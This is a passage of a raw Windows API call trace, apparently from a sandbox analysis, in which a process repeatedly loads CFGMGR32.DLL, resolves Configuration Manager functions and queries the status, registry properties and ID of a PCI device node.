lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.262] malloc (_Size=0x18) returned 0x196ef0d1f00 [0199.262] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x30, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0199.262] malloc (_Size=0x48) returned 0x196ef0fba40 [0199.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x57a01d68, dwHighDateTime=0x1d9eb0c)) [0199.263] SetEvent (hEvent=0x248) returned 1 [0199.266] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.266] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.269] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0199.269] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x30, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0199.270] malloc (_Size=0x48) returned 0x196ef0fb900 [0199.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x57a01d68, dwHighDateTime=0x1d9eb0c)) [0199.270] SetEvent (hEvent=0x248) returned 1 [0199.272] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.272] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.283] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0199.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.283] malloc (_Size=0x48) returned 0x196ef0fb720 [0199.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57a28361, dwHighDateTime=0x1d9eb0c)) [0199.283] SetEvent (hEvent=0x248) returned 1 [0199.288] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.288] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.291] malloc (_Size=0x18) returned 0x196ef0d20a0 [0199.291] CM_Get_Device_IDA (in: dnDevInst=0x31, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_29C0&SUBSYS_11001AF4&REV_00\\3&11583659&0&00") returned 0x0 [0199.291] malloc (_Size=0x48) returned 0x196ef0fb310 [0199.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x57a4e4d1, dwHighDateTime=0x1d9eb0c)) [0199.291] SetEvent (hEvent=0x248) returned 1 [0199.294] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.294] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.296] malloc (_Size=0x18) returned 0x196ef0d1be0 [0199.297] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0199.297] malloc (_Size=0x124) returned 0x196ef0d6890 [0199.297] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0199.297] free (_Block=0x196ef0d6890) [0199.298] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0199.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x57a4e4d1, dwHighDateTime=0x1d9eb0c)) [0199.298] SetEvent (hEvent=0x248) returned 1 [0199.565] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0199.565] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.565] free (_Block=0x196ef0d1ba0) [0199.565] malloc (_Size=0x18) returned 0x196ef0d2080 [0199.565] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.565] free (_Block=0x196ef0d2080) [0199.566] malloc (_Size=0x18) returned 0x196ef0d1f60 [0199.566] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.566] free (_Block=0x196ef0d1f60) [0199.566] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0199.566] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.566] free (_Block=0x196ef0d1fc0) [0199.566] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ae0 [0199.566] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0199.566] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0199.566] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0199.566] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0199.566] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0199.566] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0199.566] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0199.567] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0199.567] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.567] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63e8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.567] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.567] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b63f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.568] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0199.568] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ae0) returned 1 [0199.569] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.569] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.572] malloc (_Size=0x18) returned 0x196ef0d20a0 [0199.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0199.572] malloc (_Size=0x10e) returned 0x196ef0d6890 [0199.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0199.573] free (_Block=0x196ef0d6890) [0199.573] malloc (_Size=0x48) returned 0x196ef0fbea0 [0199.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x57cfced8, dwHighDateTime=0x1d9eb0c)) [0199.573] SetEvent (hEvent=0x248) returned 1 [0199.575] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0199.575] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0199.575] free (_Block=0x196ef0d1bc0) [0199.575] malloc (_Size=0x18) returned 0x196ef0d1e60 [0199.575] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0199.575] free (_Block=0x196ef0d1e60) [0199.575] malloc (_Size=0x18) returned 0x196ef0d1be0 [0199.575] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0199.576] free (_Block=0x196ef0d1be0) [0199.576] malloc (_Size=0x18) returned 0x196ef0d1be0 [0199.576] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0199.576] free (_Block=0x196ef0d1be0) [0199.576] malloc (_Size=0x18) returned 0x196ef0d1c40 [0199.576] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0199.576] free (_Block=0x196ef0d1c40) [0199.576] malloc (_Size=0x18) returned 0x196ef0d2020 [0199.576] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0199.576] free (_Block=0x196ef0d2020) [0199.576] malloc (_Size=0x18) returned 0x196ef0d1c40 [0199.576] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0199.576] free (_Block=0x196ef0d1c40) [0199.576] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855060 [0199.576] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0199.576] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0199.576] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0199.577] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6290 [0199.577] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0199.577] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0199.577] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0199.577] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0199.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0199.579] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6290) returned 1 [0199.579] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855060) returned 1 [0199.579] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.579] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.583] malloc (_Size=0x18) returned 0x196ef0d1f20 [0199.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xc, pulRegDataType=0x67117cd80, 